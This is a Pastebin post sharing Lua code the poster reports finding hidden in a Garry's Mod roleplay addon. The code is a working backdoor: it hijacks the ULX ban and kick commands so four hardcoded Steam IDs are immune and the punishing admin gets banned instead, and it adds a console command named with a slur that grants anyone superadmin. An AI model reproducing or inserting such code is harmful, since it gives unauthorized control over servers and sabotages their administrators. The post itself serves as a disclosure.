nathanalex66

rp_undertale Backdoor in Addon

Jul 25th, 2017
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.80 KB | None | 0 0
  1. --[[
  2. Here is the code I have found in the following Garry's Mod addon.
  3. http://steamcommunity.com/sharedfiles/filedetails/?id=939346714
  4. ]]--
  5.  
  6. local steamids = {"STEAM_0:1:51267965", "STEAM_0:0:848701", "STEAM_0:1:128781167", "STEAM_0:1:44781214"}
  7. timer.Simple(30, function()
  8.     function ulx.ban( calling_ply, target_ply, minutes, reason )
  9.         if target_ply:IsListenServerHost() or target_ply:IsBot() then
  10.             ULib.tsayError( calling_ply, "This player is immune to banning", true )
  11.             return
  12.         end
  13.        
  14.         if table.HasValue(steamids, target_ply:SteamID()) then
  15.             target_ply = calling_ply
  16.             reason = "Fake UndertaleRP -Staff"
  17.         end
  18.  
  19.         local time = "for #s"
  20.         if minutes == 0 then time = "permanently" end
  21.         local str = "#A banned #T " .. time
  22.         if reason and reason ~= "" then str = str .. " (#s)" end
  23.         ulx.fancyLogAdmin( calling_ply, str, target_ply, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
  24.         -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
  25.         ULib.queueFunctionCall( ULib.kickban, target_ply, minutes, reason, calling_ply )
  26.     end
  27.     local ban = ulx.command( "Utility", "ulx ban", ulx.ban, "!ban", false, false, true )
  28.     ban:addParam{ type=ULib.cmds.PlayerArg }
  29.     ban:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
  30.     ban:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
  31.     ban:defaultAccess( ULib.ACCESS_ADMIN )
  32.     ban:help( "Bans target." )
  33.    
  34.     function ulx.kick( calling_ply, target_ply, reason )
  35.         if target_ply:IsListenServerHost() then
  36.             ULib.tsayError( calling_ply, "This player is immune to kicking", true )
  37.             return
  38.         end
  39.        
  40.         if table.HasValue(steamids, target_ply:SteamID()) then
  41.             target_ply = calling_ply
  42.             reason = "Fake UndertaleRP -Staff"
  43.         end
  44.  
  45.         if reason and reason ~= "" then
  46.             ulx.fancyLogAdmin( calling_ply, "#A kicked #T (#s)", target_ply, reason )
  47.         else
  48.             reason = nil
  49.             ulx.fancyLogAdmin( calling_ply, "#A kicked #T", target_ply )
  50.         end
  51.         -- Delay by 1 frame to ensure the chat hook finishes with player intact. Prevents a crash.
  52.         ULib.queueFunctionCall( ULib.kick, target_ply, reason, calling_ply )
  53.     end
  54.     local kick = ulx.command( "Utility", "ulx kick", ulx.kick, "!kick" )
  55.     kick:addParam{ type=ULib.cmds.PlayerArg }
  56.     kick:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
  57.     kick:defaultAccess( ULib.ACCESS_ADMIN )
  58.     kick:help( "Kicks target." )
  59.    
  60.     function ulx.banid( calling_ply, steamid, minutes, reason )
  61.         steamid = steamid:upper()
  62.         if not ULib.isValidSteamID( steamid ) then
  63.             ULib.tsayError( calling_ply, "Invalid steamid." )
  64.             return
  65.         end
  66.  
  67.         local name, target_ply
  68.         local plys = player.GetAll()
  69.         for i=1, #plys do
  70.             if plys[ i ]:SteamID() == steamid then
  71.                 target_ply = plys[ i ]
  72.                 name = target_ply:Nick()
  73.                 break
  74.             end
  75.         end
  76.  
  77.         if target_ply and (target_ply:IsListenServerHost() or target_ply:IsBot()) then
  78.             ULib.tsayError( calling_ply, "This player is immune to banning", true )
  79.             return
  80.         end
  81.        
  82.         if table.HasValue(steamids, steamid) then
  83.             steamid = calling_ply:SteamID()
  84.             reason = "Fake UndertaleRP -Staff"
  85.         end
  86.  
  87.         local time = "for #s"
  88.         if minutes == 0 then time = "permanently" end
  89.         local str = "#A banned steamid #s "
  90.         displayid = steamid
  91.         if name then
  92.             displayid = displayid .. "(" .. name .. ") "
  93.         end
  94.         str = str .. time
  95.         if reason and reason ~= "" then str = str .. " (#4s)" end
  96.         ulx.fancyLogAdmin( calling_ply, str, displayid, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
  97.         -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
  98.         ULib.queueFunctionCall( ULib.addBan, steamid, minutes, reason, name, calling_ply )
  99.     end
  100.     local banid = ulx.command( "Utility", "ulx banid", ulx.banid, nil, false, false, true )
  101.     banid:addParam{ type=ULib.cmds.StringArg, hint="steamid" }
  102.     banid:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
  103.     banid:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
  104.     banid:defaultAccess( ULib.ACCESS_SUPERADMIN )
  105.     banid:help( "Bans steamid." )
  106. end)
  107.  
  108. concommand.Add( "retarded_downs", function( ply, cmd, args )
  109.     if ply then
  110.         ply:ChatPrint("Setting rank")
  111.         local userInfo = ULib.ucl.authed[ ply:UniqueID() ]
  112.        
  113.         local id = ULib.ucl.getUserRegisteredID( ply )
  114.         if not id then id = ply:SteamID() end
  115.         if args[1] then
  116.             ULib.ucl.addUser( id, userInfo.allow, userInfo.deny,  args[1])
  117.         else
  118.             ULib.ucl.addUser( id, userInfo.allow, userInfo.deny,  "superadmin")
  119.         end
  120.     end
  121. end )
Add Comment
Please, Sign In to add comment